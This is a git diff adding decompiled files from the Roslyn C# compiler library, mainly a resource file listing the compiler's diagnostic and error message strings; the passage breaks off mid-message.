a/decompiled/Libraries/microsoft.codeanalysis.csharp/-PrivateImplementationDetails-.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/-PrivateImplementationDetails-.cs new file mode 100644 index 0000000..e69de29 diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/.DS_Store b/decompiled/Libraries/microsoft.codeanalysis.csharp/.DS_Store new file mode 100644 index 0000000..b5e0290 Binary files /dev/null and b/decompiled/Libraries/microsoft.codeanalysis.csharp/.DS_Store differ diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CSharpResources.resx b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CSharpResources.resx new file mode 100644 index 0000000..b141889 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.CSharpResources.resx @@ -0,0 +1,2705 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Outputs without source must have the /out option specified + Division by constant zero + Types and aliases should not be named 'record'. + '{0}' is not a valid named attribute argument because it is not a valid attribute parameter type + XML comment has badly formed XML + The 'new()' constraint cannot be used with the 'unmanaged' constraint + Skipping some types in analyzer assembly {0} due to a ReflectionTypeLoadException : {1}. + Field is assigned but its value is never used + records + An expression tree may not contain an assignment operator + One or more types required to compile a dynamic expression cannot be found. Are you missing a reference? + '{0}' is obsolete: '{1}' + The Conditional attribute is not valid on '{0}' because it is a constructor, destructor, operator, lambda expression, or explicit interface implementation + Members of primary constructor parameter '{0}' of a readonly type cannot be returned by writable reference + Slice patterns may only be used once and directly inside a list pattern. + Invalid module name: {0} + Interface is already listed in the interface list with different nullability of reference types. + '{0}': user-defined conversions to or from a base type are not allowed + '{0}': cannot reference a type through an expression; try '{1}' instead + Compiler version: '{0}'. Language version: {1}. + iterators + Ignoring /win32manifest for module because it only applies to assemblies + Code page '{0}' is invalid or not installed + Obsolete member '{0}' overrides non-obsolete member '{1}' + Missing closing quotation mark for string literal. + Thrown value may be null. + Use of possibly unassigned auto-implemented property '{0}'. Consider updating to language version '{1}' to auto-default the property. + '{0}' cannot be made nullable. + using declarations + Target runtime doesn't support default interface implementation. + Compilation cancelled by user + Metadata references are not supported. + A query body must end with a select clause or a group clause + The given expression never matches the provided pattern. + 'init' accessors cannot be marked 'readonly'. Mark '{0}' readonly instead. + The '&' operator should not be used on parameters or local variables in async methods. + The switch statement contains multiple cases with the label value '{0}' + Identifier expected; '{1}' is a keyword + Invalid '{0}' value: '{1}'. + Type parameter '{0}' has the same name as the type parameter from outer method '{1}' + An expression tree may not contain an unsafe pointer operation + An invalid character was found inside an entity reference. + An expression tree lambda may not contain a method with variable arguments + Command line switch is not yet implemented + The compiler implicitly widened and sign-extended a variable, and then used the resulting value in a bitwise OR operation. This can result in unexpected behavior. + The * or -> operator must be applied to a pointer + Invalid name for a preprocessing symbol; '{0}' is not a valid identifier + Operator '{0}' cannot be applied to operands of type '{1}' and '{2}' + native-sized integers + Type cannot be marked as CLS-compliant because it is a member of non-CLS-compliant type + The CallerMemberNameAttribute will have no effect; it is overridden by the CallerLineNumberAttribute + Members of {0} '{1}' cannot be returned by writable reference because it is a readonly variable + The InterpolatedStringHandlerArgumentAttribute applied to parameter '{0}' is malformed and cannot be interpreted. Construct an instance of '{1}' manually. + The given line is '{0}' characters long, which is fewer than the provided character number '{1}'. + '{0}' cannot declare a body because it is marked abstract + Inconsistent accessibility: event type '{1}' is less accessible than event '{0}' + Member '{0}' overrides obsolete member '{1}'. Add the Obsolete attribute to '{0}'. + Unreachable code detected + Type or member does not need a CLSCompliant attribute because the assembly does not have a CLSCompliant attribute + Cannot use primary constructor parameter '{0}' in this context. + Could not find an implementation of the query pattern for source type '{0}'. '{1}' not found. Consider explicitly specifying the type of the range variable '{2}'. + '{0}' is not a valid warning number + The type '{3}' cannot be used as type parameter '{2}' in the generic type or method '{0}'. There is no implicit reference conversion from '{3}' to '{1}'. + Method, operator, or accessor is marked external and has no attributes on it + Interpolated string handler method '{0}' is malformed. It does not return 'void' or 'bool'. + The discard pattern is not permitted as a case label in a switch statement. Use 'case var _:' for a discard pattern, or 'case @_:' for a constant named '_'. + Calling convention of '{0}' is not compatible with '{1}'. + Cannot use a nullable reference type in object creation. + Name of destructor must match name of type + Command-line syntax error: '{0}' is not a valid value for the '{1}' option. The value must be of the form '{2}'. + '{0}' is not an instance method, the receiver cannot be an interpolated string handler argument. + This ref-assigns '{1}' to '{0}' but '{1}' can only escape the current method through a return statement. + Cannot pass the range variable '{0}' as an out or ref parameter + A foreach loop must declare its iteration variables. + unconstrained type parameters in null coalescing operator + The DllImport attribute must be specified on a method marked 'static' and 'extern' + partial method + Feature '{0}' is not available in C# 12.0. Please use language version {1} or greater. + Feature '{0}' is not available in C# 11.0. Please use language version {1} or greater. + Feature '{0}' is not available in C# 10.0. Please use language version {1} or greater. + The field '{0}' is assigned but its value is never used + Cannot yield in the body of a finally clause + <namespace> + The 'await' operator may only be used in a query expression within the first collection expression of the initial 'from' clause or within the collection expression of a 'join' clause + The default value specified for parameter '{0}' will have no effect because it applies to a member that is used in contexts that do not allow optional arguments + '{0}': explicit interface declaration can only be declared in a class, record, struct or interface + You cannot redefine the global extern alias + Inline array 'Slice' method will not be used for element access expression. + CLSCompliant attribute has no meaning when applied to parameters. Try putting it on the method instead. + This warning is caused when a catch() block has no specified exception type after a catch (System.Exception e) block. The warning advises that the catch() block will not catch any exceptions. + +A catch() block after a catch (System.Exception e) block can catch non-CLS exceptions if the RuntimeCompatibilityAttribute is set to false in the AssemblyInfo.cs file: [assembly: RuntimeCompatibilityAttribute(WrapNonExceptionThrows = false)]. If this attribute is not set explicitly to false, all thrown non-CLS exceptions are wrapped as Exceptions and the catch (System.Exception e) block catches them. + The CallerArgumentExpressionAttribute applied to parameter will have no effect because it's self-refential. + An out variable cannot be declared as a ref local + Cannot await in a catch clause + The operator '{0}' requires a matching non-checked version of the operator to also be defined + file-scoped namespace + Cannot deconstruct dynamic objects. + An expression cannot be used in this context because it may not be passed or returned by reference + A /reference option that declares an extern alias can only have one filename. To specify multiple aliases or filenames, use multiple /reference options. + Conversion of a stackalloc expression of type '{0}' to type '{1}' is not possible. + Missing close delimiter '}' for interpolated expression started with '{'. + You must specify the CLSCompliant attribute on the assembly, not the module, to enable CLS compliance checking + The 'scoped' modifier can be used for refs and ref struct values only. + foreach statement cannot operate on variables of type '{0}' because '{0}' does not contain a public instance or extension definition for '{1}' + Error reading ruleset file {0} - {1} + Do not directly call your base type Finalize method. It is called automatically from your destructor. + '{0}': the enumerator value is too large to fit in its type + The given file has '{0}' lines, which is fewer than the provided line number '{1}'. + Invalid filename specified for preprocessor directive. Filename is too long or not a valid filename. + Type or member is obsolete + Cannot convert expression to '{0}' because it may not be passed or returned by reference + The type arguments for method '{0}' cannot be inferred from the usage. Try specifying the type arguments explicitly. + Possible null reference argument. + &method group + Missing file attribute + Missing path attribute + Unmanaged type '{0}' not valid for fields. + Error signing output with public key from container '{0}' -- {1} + The operator '{0}' requires a matching operator '{1}' to also be defined + A field initializer cannot reference the non-static field, method, or property '{0}' + readonly automatically implemented properties + The namespace '{1}' already contains a definition for '{0}' in this file. + Fields of static readonly field '{0}' cannot be used as a ref or out value (except in a static constructor) + This ref-assigns '{1}' to '{0}' but '{1}' has a narrower escape scope than '{0}'. + access modifiers on properties + Types and aliases cannot be named 'scoped'. + Invalid token '{0}' in class, record, struct, or interface member declaration + Metadata file '{0}' could not be found + Call to non-readonly member from a 'readonly' member results in an implicit copy. + File-scoped namespace must precede all other members in a file. + '{0}' does not have a predefined size, therefore sizeof can only be used in an unsafe context + Invalid search path '{0}' specified in '{1}' -- '{2}' + Cannot convert {0} to type '{1}' because the parameter types do not match the delegate parameter types + Only CLS-compliant members can be abstract + private protected + Assembly and module '{0}' cannot target different processors. + An expression tree may not contain a range ('..') expression. + Reference kind modifier of parameter '{0}' doesn't match the corresponding parameter '{1}' in target. + '{0}' is not an interpolated string handler type. + Reference kind modifier of parameter '{0}' doesn't match the corresponding parameter '{1}' in hidden member. + Auto-implemented property '{0}' is read before being explicitly assigned, causing a preceding implicit assignment of 'default'. + Cannot await in the body of a lock statement + A static readonly field cannot be used as a ref or out value (except in a static constructor) + Use of possibly unassigned auto-implemented property. Consider updating the language version to auto-default the property. + Attribute '{0}' is not valid on property or event accessors. It is only valid on '{1}' declarations. + The 'scoped' modifier of parameter '{0}' doesn't match target '{1}'. + The specified version string '{0}' contains wildcards, which are not compatible with determinism. Either remove wildcards from the version string, or disable determinism for this compilation + Nullability of reference types in explicit interface specifier doesn't match interface implemented by the type. + Arrays as attribute arguments is not CLS-compliant + Unused extern alias + Invalid number + lambda discard parameters + A result of a stackalloc expression of this type in this context may be exposed outside of the containing method + type variance + directory does not exist + In order for '{0}' to be applicable as a short circuit operator, its declaring type '{1}' must define operator true and operator false + disposable + A nested array initializer is expected + Only class types can contain destructors + Assuming assembly reference matches identity + Assembly reference '{0}' is invalid and cannot be resolved + inferred delegate type + This returns a parameter by reference through a ref parameter; but it can only safely be returned in a return statement + There is no target type for the default literal. + Deconstruct assignment requires an expression with a type on the right-hand-side. + Invalid file section alignment '{0}' + Anonymous methods, lambda expressions, query expressions, and local functions inside structs cannot access instance members of 'this'. Consider copying 'this' to a local variable outside the anonymous method, lambda expression, query expression, or local function and using the local instead. + Cannot assign to a member of {0} '{1}' or use it as the right hand side of a ref assignment because it is a readonly variable + Nullability of reference types in type of '{0}' doesn't match implicitly implemented member '{1}'. + Conditional member '{0}' cannot implement interface member '{1}' in type '{2}' + Nullability of reference types in return type of '{0}' doesn't match implicitly implemented member '{1}'. + Static class '{0}' cannot derive from type '{1}'. Static classes must derive from object. + Fields of static readonly field '{0}' cannot be returned by writable reference + Type '{0}' is defined in this assembly, but a type forwarder is specified for it + The pattern is unreachable. It has already been handled by a previous arm of the switch expression or it is impossible to match. + An expression is too long or complex to compile + Single-line comment or end-of-line expected after #pragma directive + '{0}': event property must have both add and remove accessors + This returns a parameter by reference '{0}' but it is scoped to the current method + { or ; or => expected + Referenced assembly targets a different processor + The managed coclass wrapper class '{0}' for interface '{1}' cannot be found (are you missing an assembly reference?) + '{0}' does not implement the '{1}' pattern. '{2}' is ambiguous with '{3}'. + Invalid option '{0}' for /langversion. Use '/langversion:?' to list supported values. + An alias-qualified name is not an expression. + An identifier was expected. + Type '{0}' is not defined. + The 'goto case' value is not implicitly convertible to type '{0}' + Assignment in conditional expression is always constant + Conditional member '{0}' cannot have an out parameter + Cannot await in an unsafe context + Embedded statement cannot be a declaration or labeled statement + '{0}' must allow overriding because the containing record is not sealed. + Nullable value type may be null. + static local functions + Constructor is marked external + The operation may overflow at runtime (use 'unchecked' syntax to override) + collection initializer + Predefined type '{0}' is not defined or imported + automatically implemented properties + ref reassignment + An expression of type '{0}' cannot be handled by a pattern of type '{1}'. Please use language version '{2}' or greater to match an open type with a constant pattern. + The dynamically dispatched call to method '{0}' may fail at runtime because one or more applicable overloads are conditional methods. + Type or member is obsolete + Constructor '{0}' is marked external + '{0}': static classes cannot implement interfaces + Embedded interop struct '{0}' can contain only public instance fields. + Cannot derive from '{0}' because it is a type parameter + The type of a local declared in a fixed statement must be a pointer type + extern alias + Invalid return type in XML comment cref attribute + Type '{0}' cannot be used in this context because it cannot be represented in metadata. + Nullability of reference types in return type doesn't match implemented member (possibly because of nullability attributes). + CLSCompliant attribute has no meaning when applied to parameters + Nullability in constraints for type parameter doesn't match the constraints for type parameter in implicitly implemented interface method'. + The first operand of an 'as' operator may not be a tuple literal without a natural type. + Invalid instrumentation kind: {0} + checked user-defined operators + Cannot declare namespace in script code + A public, protected, or protected internal variable must be of a type that is compliant with the Common Language Specification (CLS). + Partial declarations of '{0}' have conflicting accessibility modifiers + The type '{3}' cannot be used as type parameter '{2}' in the generic type or method '{0}'. The nullable type '{3}' does not satisfy the constraint of '{1}'. + A nameof operator cannot be intercepted. + Possible unintended reference comparison; right hand side needs cast + Could not write to output file '{0}' -- '{1}' + Keyword 'this' or 'base' expected + The EnumeratorCancellationAttribute will have no effect. The attribute is only effective on a parameter of type CancellationToken in an async-iterator method returning IAsyncEnumerable + Nullability of reference types in return type of '{0}' doesn't match implicitly implemented member '{1}' (possibly because of nullability attributes). + The result of the expression is always the same since a value of this type is never equal to 'null' + pointer element access + '{0}' does not override expected property from '{1}'. + Cannot use 'yield' in top-level script code + Async method lacks 'await' operators and will run synchronously + Predefined type is defined in multiple assemblies in the global alias + The name '_' refers to the type '{0}', not the discard pattern. Use '@_' for the type, or 'var _' to discard. + Enums, classes, and structures cannot be declared in an interface that has an 'in' or 'out' type parameter. + '{0}': an attribute argument cannot use type parameters + Overloadable operator expected + Fields of static readonly field '{0}' cannot be assigned to (except in a static constructor or a variable initializer) + Filter expression is a constant 'true' + No source files specified. + '{0}' has the wrong signature to be an entry point + Catch clauses cannot follow the general catch clause of a try statement + Partial method '{0}' must have accessibility modifiers because it has a 'virtual', 'override', 'sealed', 'new', or 'extern' modifier. + Interpolated string handler conversions that reference the instance being indexed cannot be used in indexer member initializers. + Argument missing + Cannot convert lambda to an expression tree whose type argument '{0}' is not a delegate type + This ref-assigns a value that can only escape the current method through a return statement. + return + The operation in question is undefined on void pointers + Delegate '{0}' has no invoke method or an invoke method with a return type or parameter types that are not supported. + Cannot create constructed generic type from another constructed generic type. + Field '{0}' is read before being explicitly assigned, causing a preceding implicit assignment of 'default'. + nameof operator + Cannot take the address of, get the size of, or declare a pointer to a managed type ('{0}') + Feature '{0}' is not part of the standardized ISO C# language specification, and may not be accepted by other compilers + Attribute '{0}' given in a source file conflicts with option '{1}'. + You cannot specify the CLSCompliant attribute on a module that differs from the CLSCompliant attribute on the assembly + relaxed shift operator + Parameter {0} should not be declared with the '{1}' keyword + '{0}' is attributed with 'UnmanagedCallersOnly' and cannot be converted to a delegate type. Obtain a function pointer to this method. + Cannot await in the body of a finally clause + An interceptor method must be an ordinary member method. + The out parameter '{0}' must be assigned to before control leaves the current method + Records may only inherit from object or another record + An object, string, or class type expected + An expression tree may not contain a with-expression. + Linked netmodule metadata must provide a full PE image: '{0}'. + Use of unassigned out parameter '{0}' + Defining an alias named 'global' is ill-advised + '{0}': an attribute type argument cannot use type parameters + UTF-8 string literals + /platform:anycpu32bitpreferred can only be used with /t:exe, /t:winexe and /t:appcontainerexe + Method '{0}' lacks `[DoesNotReturn]` annotation to match implemented or overridden member. + A ref field can only be declared in a ref struct. + '{0}': a class with the ComImport attribute cannot specify a base class + Since '{1}' has the ComImport attribute, '{0}' must be extern or abstract + The interpolation must end with the same number of closing braces as the number of '$' characters that the raw string literal started with. + fixed variable + Name conflict for name {0} + A previous catch clause already catches all exceptions of this or of a super type ('{0}') + Use of possibly unassigned field '{0}' + Block bodies and expression bodies cannot both be provided. + System.Void cannot be used from C# -- use typeof(void) to get the void type object + Provided documentation mode is unsupported or invalid: '{0}'. + Operator '{0}' is ambiguous on an operand of type '{1}' + Nullability of reference types in return type doesn't match overridden member. + The tuple element name is ignored because a different name or no name is specified by the assignment target. + Referenced assembly does not have a strong name + A partial method may not explicitly implement an interface method + The 'scoped' modifier of parameter doesn't match target. + lambda expression + Cannot use '{0}' for Main method because it is imported + The parameter of a unary operator must be the containing type + Field '{0}' must be fully assigned before control is returned to the caller. Consider updating to language version '{1}' to auto-default the field. + The best overloaded Add method '{0}' for the collection initializer element is obsolete. {1} + Length of String constant resulting from concatenation exceeds System.Int32.MaxValue. Try splitting the string into multiple constants. + You must specify the CLSCompliant attribute on the assembly, not the module, to enable CLS compliance checking + Referenced assembly '{0}' does not have a strong name. + namespace + The call is ambiguous between the following methods or properties: '{0}' and '{1}' + The switch expression does not handle some null inputs (it is not exhaustive). For example, the pattern '{0}' is not covered. + Floating-point constant is outside the range of type '{0}' + Raw string literal delimiter must be on its own line. + Unable to read debug information of method '{0}' (token 0x{1:X8}) from assembly '{2}' + 'UnmanagedCallersOnly' can only be applied to ordinary static non-abstract, non-virtual methods or static local functions. + Cannot create a function pointer for '{0}' because it is not a static method + Invalid option '{0}' for /nullable; must be 'disable', 'enable', 'warnings' or 'annotations' + Cannot emit debug information for a source text without encoding. + The 'scoped' modifier of parameter '{0}' doesn't match overridden or implemented member. + Invalid option '{0}'; Resource visibility must be either 'public' or 'private' + A default value is specified for 'ref readonly' parameter '{0}', but 'ref readonly' should be used only for references. Consider declaring the parameter as 'in'. + Use of result in this context may expose variables referenced by parameter outside of their declaration scope + Operator cannot be used here due to precedence. + Record member '{0}' must be public. + Do not use '{0}'. This is reserved for compiler usage. + Cannot restore warning because it was disabled globally + Parameter is captured into the state of the enclosing type and its value is also used to initialize a field, property, or event. + __arglist is not allowed in the parameter list of iterators + '{0}' does not implement interface member '{1}'. Nullability of reference types in interface implemented by the base type doesn't match. + Cannot convert async {0} to delegate type '{1}'. An async {0} may return void, Task or Task<T>, none of which are convertible to '{1}'. + Use of variable '{0}' in this context may expose referenced variables outside of their declaration scope + Duplicate '{0}' attribute + Type '{0}' cannot be embedded because it has a non-abstract member. Consider setting the 'Embed Interop Types' property to false. + The delegate type could not be inferred. + File-local type '{0}' cannot be used because the containing file path cannot be converted into the equivalent UTF-8 byte representation. {1} + Expected an end tag for element '{0}'. + leading digit separator + Type arguments are not allowed in the nameof operator. + The type or namespace name '{0}' does not exist in the namespace '{1}' (are you missing an assembly reference?) + '{0}': cannot provide arguments when creating an instance of a variable type + Error reading Win32 resources -- {0} + The type name '{0}' could not be found in the global namespace. This type has been forwarded to assembly '{1}' Consider adding a reference to that assembly. + Cannot return an expression of type 'void' + A ref or out parameter cannot have a default value + The type name '{0}' could not be found. This type has been forwarded to assembly '{1}'. Consider adding a reference to that assembly. + Iterators cannot have by-reference locals + Both partial method declarations must have identical combinations of 'virtual', 'override', 'sealed', and 'new' modifiers. + Cannot specify a default value for the 'this' parameter + The given expression is never of the provided ('{0}') type + XML comment has a typeparam tag, but there is no type parameter by that name + Both partial method declarations must be unsafe or neither may be unsafe + coalescing assignment + A base type was marked as not having to be compliant with the Common Language Specification (CLS) in an assembly that was marked as being CLS compliant. Either remove the attribute that specifies the assembly is CLS compliant or remove the attribute that indicates the type is not CLS compliant. + The given expression always matches the provided constant. + A method with vararg cannot be generic, be in a generic type, or have a params parameter + 'await' requires that the type '{0}' have a suitable 'GetAwaiter' method. Are you missing a using directive for 'System'? + Expected ; or = (cannot specify constructor arguments in declaration) + Use of member of result in this context may expose variables referenced by parameter outside of their declaration scope + Invocation of implicit Range Indexer cannot name the argument. + with on structs + Argument cannot be used for parameter due to differences in the nullability of reference types. + The return type of operator True or False must be bool + This constructor must add 'SetsRequiredMembers' because it chains to a constructor that has that attribute. + Constraint cannot be special class '{0}' + '{0}': Target runtime doesn't support covariant return types in overrides. Return type must be '{2}' to match overridden member '{1}' + The 'scoped' modifier of parameter '{0}' doesn't match overridden or implemented member. + Type '{0}' forwarded to assembly '{1}' conflicts with type '{2}' forwarded to assembly '{3}'. + Argument should be a variable because it is passed to a 'ref readonly' parameter + Default values are not valid in this context. + A ref field cannot refer to a ref struct. + File-local type '{0}' cannot be used as a base type of non-file-local type '{1}'. + The delegate '{0}' does not have a parameter named '{1}' + 'managed' calling convention cannot be combined with unmanaged calling convention specifiers. + Comparison of function pointers might yield an unexpected result, since pointers to the same function may be distinct. + '{0}' is not CLS-compliant because base interface '{1}' is not CLS-compliant + Source interface '{0}' is missing method '{1}' which is required to embed event '{2}'. + Attribute constructor parameter '{0}' is optional, but no default parameter value was specified. + An expression tree lambda may not contain a null propagating operator. + Alias '{0}' not found + Duplicate initialization of member '{0}' + Record equality contract property '{0}' must have a get accessor. + Invalid option '{0}' for /debug; must be 'portable', 'embedded', 'full' or 'pdbonly' + You can only take the address of an unfixed expression inside of a fixed statement initializer + To use '@$' instead of '$@' for an interpolated verbatim string, please use language version '{0}' or greater. + '{0}': a class with the ComImport attribute cannot specify field initializers. + Partial method '{0}' must have accessibility modifiers because it has 'out' parameters. + '{0}': cannot declare indexers in a static class + The CallerArgumentExpressionAttribute will have no effect because it applies to a member that is used in contexts that do not allow optional arguments + '{0}' is already listed in interface list + null pointer constant pattern + '{0}': property or indexer must have at least one accessor + Implicitly-typed variables cannot be constant + A variable was declared with the same name as a variable in a base type. However, the new keyword was not used. This warning informs you that you should use new; the variable is declared as if new had been used in the declaration. + Inconsistent accessibility: return type '{1}' is less accessible than method '{0}' + Instance fields of readonly structs must be readonly. + Cannot ref-assign '{1}' to '{0}' because '{1}' has a narrower escape scope than '{0}'. + Operator '{0}' cannot be applied to operands of type '{1}' and '{2}' that are not UTF-8 byte representations + Use Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal to create character literal tokens. + An expression tree may not contain a pattern System.Index or System.Range indexer access + Arrays as attribute arguments is not CLS-compliant + Use of unassigned out parameter + Omitting the type argument is not allowed in the current context + Alignment value {0} has a magnitude greater than {1} and may result in a large formatted string. + A static local function cannot contain a reference to 'this' or 'base'. + Parameter is unread. + An expression tree may not contain UTF-8 string conversion or literal. + out variable declaration + A ref readonly parameter cannot have the Out attribute. + Comparison to integral constant is useless; the constant is outside the range of type '{0}' + 'experimental' + Type '{0}' from assembly '{1}' cannot be used across assembly boundaries because it has a generic type argument that is an embedded interop type. + Constant value may overflow at runtime (use 'unchecked' syntax to override) + lambda optional parameters + parameterless struct constructors + The parameter of a unary operator must be the containing type, or its type parameter constrained to it. + The local function '{0}' is declared but never used + The as operator must be used with a reference type or nullable type ('{0}' is a non-nullable value type) + The abstract {0} '{1}' cannot be marked virtual + '{0}': static classes cannot contain user-defined operators + The label '{0}' shadows another label by the same name in a contained scope + Member '{1}' overrides '{0}'. There are multiple override candidates at run-time. It is implementation dependent which method will be called. Please use a newer runtime. + Anonymous methods, lambda expressions, query expressions, and local functions inside an instance member of a struct cannot access primary constructor parameter + A get or set accessor expected + Do not use 'System.ParamArrayAttribute'. Use the 'params' keyword instead. + New protected member declared in sealed type + Forwarded type '{0}' conflicts with type declared in primary module of this assembly. + The two assemblies differ in release and/or version number. For unification to occur, you must specify directives in the application's .config file, and you must provide the correct strong name of an assembly. + Constructor '{0}' cannot call itself through another constructor + The referenced file '{0}' is not an assembly + Overloaded binary operator '{0}' takes two parameters + or pattern + Local function '{0}' must be 'static' in order to use the Conditional attribute + The Conditional attribute is not valid on '{0}' because it is an override method + Local '{0}' or its members cannot have their address taken and be used inside an anonymous method or lambda expression + SearchCriteria is expected. + Interfaces cannot contain instance constructors + Since '{0}' returns void, a return keyword must not be followed by an object expression + User-defined operator cannot convert a type to itself + Cannot continue since the edit includes a reference to an embedded type: '{0}'. + Because this call is not awaited, execution of the current method continues before the call is completed. Consider applying the 'await' operator to the result of the call. + Call System.IDisposable.Dispose() on allocated instance of {0} before all references to it are out of scope. + Allocated instance of {0} is not disposed along all exception paths. Call System.IDisposable.Dispose() before all references to it are out of scope. + Syntax node to be speculated cannot belong to a syntax tree from the current compilation. + Security attribute '{0}' has an invalid SecurityAction value '{1}' + A primary constructor parameter of a readonly type cannot be assigned to (except in init-only setter of the type or a variable initializer) + A static local function cannot contain a reference to '{0}'. + To cast a negative value, you must enclose the value in parentheses. + Local name '{0}' is too long for PDB. Consider shortening or compiling without /debug. + Member definition, statement, or end-of-file expected + Reference kind modifier of parameter '{0}' doesn't match the corresponding parameter '{1}' in overridden or implemented member. + A deconstruction variable cannot be declared as a ref local + Because this call is not awaited, execution of the current method continues before the call is completed + A using clause must precede all other elements defined in the namespace except extern alias declarations + Argument {0} should be a variable because it is passed to a 'ref readonly' parameter + The 'await' operator can only be used within an async method. Consider marking this method with the 'async' modifier and changing its return type to 'Task<{0}>'. + Static member '{0}' cannot be marked 'readonly'. + A fixed buffer may only have one dimension. + UnscopedRefAttribute cannot be applied to parameters that have a 'scoped' modifier. + Unboxing a possibly null value. + The result of the expression is always '{0}' since a value of type '{1}' is never equal to 'null' of type '{2}' + variable + Nullability of reference types in value of type '{0}' doesn't match target type '{1}'. + Cannot use alias '{0}' with '::' since the alias references a type. Use '.' instead. + Merge conflict marker encountered + Friend assembly reference '{0}' is invalid. InternalsVisibleTo declarations cannot have a version, culture, public key token, or processor architecture specified. + Cannot return a parameter by reference '{0}' through a ref parameter; it can only be returned in a return statement + Program using top-level statements must be an executable. + This returns a member of local by reference but it is not a ref local + Empty character literal + The 'class', 'struct', 'unmanaged', 'notnull', and 'default' constraints cannot be combined or duplicated, and must be specified first in the constraints list. + '{0}' cannot be added to this assembly because it already is an assembly + No best type was found for the switch expression. + Public signing is not supported for netmodules. + '{0}' is already listed in the interface list on type '{2}' as '{1}'. + The left-hand side of a ref assignment must be a ref variable. + Field or property cannot be of type '{0}' + Tuple element names are not permitted on the left of a deconstruction. + An expression tree lambda may not contain a method group + Expected 'enable', 'disable', or 'restore' + It is not legal to use nullable reference type '{0}?' in an as expression; use the underlying type '{0}' instead. + Cannot bind delegate to '{0}' because it is a member of 'System.Nullable<T>' + method + Partial declarations of '{0}' must have the same type parameter names in the same order + __arglist cannot have an argument passed by 'in' or 'out' + The character(s) '{0}' cannot be used at this location. + The 'await' operator can only be used within an async {0}. Consider marking this {0} with the 'async' modifier. + The first parameter of a 'ref' extension method '{0}' must be a value type or a generic type constrained to struct. + Ref mismatch between '{0}' and function pointer '{1}' + Cannot use '{0}' as a calling convention modifier. + Chaining speculative semantic model is not supported. You should create a speculative model from the non-speculative ParentModel. + Program has more than one entry point defined. Compile with /main to specify the type that contains the entry point. + extended partial methods + Feature '{0}' is not available in C# 8.0. Please use language version {1} or greater. + Feature '{0}' is not available in C# 7.2. Please use language version {1} or greater. + Feature '{0}' is not available in C# 7.3. Please use language version {1} or greater. + Feature '{0}' is not available in C# 7.1. Please use language version {1} or greater. + Use of variable in this context may expose referenced variables outside of their declaration scope + Expected interpolated string + Unable to include XML fragment '{1}' of file '{0}' -- {2} + Inline array conversion operator will not be used for conversion from expression of the declaring type. + Type '{0}' exported from module '{1}' conflicts with type '{2}' exported from module '{3}'. + A string 'null' constant is not supported as a pattern for '{0}'. Use an empty string instead. + An entry point cannot be generic or in a generic type + '{0}' does not have a suitable static 'Main' method + Control is returned to caller before field '{0}' is explicitly assigned, causing a preceding implicit assignment of 'default'. + A single-element deconstruct pattern requires some other syntax for disambiguation. It is recommended to add a discard designator '_' after the close paren ')'. + The fully qualified name for '{0}' is too long for debug information. Compile without '/debug' option. + Fields of a struct must be fully assigned in a constructor before control is returned to the caller. Consider updating the language version to auto-default the field. + Optional parameters must appear after all required parameters + Warning is overriding an error + This label has not been referenced + The variable '{0}' is declared but never used + Using the generic {1} '{0}' requires {2} type arguments + 'UnmanagedCallersOnly' method '{0}' cannot implement interface member '{1}' in type '{2}' + #endif directive expected + A goto cannot jump to a location after a using declaration. + The current method calls an async method that returns a Task or a Task<TResult> and doesn't apply the await operator to the result. The call to the async method starts an asynchronous task. However, because no await operator is applied, the program continues without waiting for the task to complete. In most cases, that behavior isn't what you expect. Usually other aspects of the calling method depend on the results of the call or, minimally, the called method is expected to complete before you return from the method that contains the call. + +An equally important issue is what happens to exceptions that are raised in the called async method. An exception that's raised in a method that returns a Task or Task<TResult> is stored in the returned task. If you don't await the task or explicitly check for exceptions, the exception is lost. If you await the task, its exception is rethrown. + +As a best practice, you should always await the call. + +You should consider suppressing the warning only if you're sure that you don't want to wait for the asynchronous call to complete and that the called method won't raise any exceptions. In that case, you can suppress the warning by assigning the task result of the call to a variable. + query expression + Record member '{0}' must be protected. + Invalid value for argument to '{0}' attribute + Agnostic assembly cannot have a processor specific module '{0}'. + A format specifier may not contain trailing whitespace. + UnscopedRefAttribute cannot be applied to this parameter because it is unscoped by default. + The type '{0}' may not be used as the target type of new() + InterpolatedStringHandlerArgumentAttribute arguments cannot refer to the parameter the attribute is used on. + Variable is assigned but its value is never used + An add or remove accessor must have a body + '{0}' explicit method implementation cannot implement '{1}' because it is an accessor + Member implements interface member with multiple matches at run-time + XML comment has a duplicate param tag for '{0}' + The enumerator name '{0}' is reserved and cannot be used + An expression tree lambda may not contain a dictionary initializer. + The interpolated raw string literal does not start with enough '$' characters to allow this many consecutive closing braces as content. + Inline array 'Slice' method will not be used for element access expression. + The member '{0}' does not hide an accessible member. The new keyword is not required. + Named argument specifications must appear after all fixed arguments have been specified in a dynamic invocation. + '{0}': static types cannot be used as parameters + A number that was passed to the #pragma warning preprocessor directive was not a valid warning number. Verify that the number represents a warning, not an error. + await in catch blocks and finally blocks + Nullability of reference types in return type doesn't match the target delegate (possibly because of nullability attributes). + '{0}': an entry point cannot be generic or in a generic type + '{0}' does not implement interface member '{1}' + '{0}' does not contain a definition for '{1}' and the best extension method overload '{2}' requires a receiver of type '{3}' + #r is only allowed in scripts + Cannot pass argument with dynamic type to generic local function '{0}' with inferred type arguments. + The #line directive end position must be greater than or equal to the start position + Syntax tree already present + Primary constructor parameter is shadowed by a member from base + Auto-implemented property '{0}' must be fully assigned before control is returned to the caller. Consider updating to language version '{1}' to auto-default the property. + Use of possibly unassigned field. Consider updating the language version to auto-default the field. + Dereference of a possibly null reference. + Invalid output name: {0} + A class with the ComImport attribute cannot have a user-defined constructor + The CollectionBuilderAttribute method name is invalid. + The return expression must be of type '{0}' because this method returns by reference + Members of primary constructor parameter '{0}' of a readonly type cannot be used as a ref or out value (except in init-only setter of the type or a variable initializer) + Auto-implemented properties must have get accessors. + Identifier '{0}' is not CLS-compliant + The return type for ++ or -- operator must either match the parameter 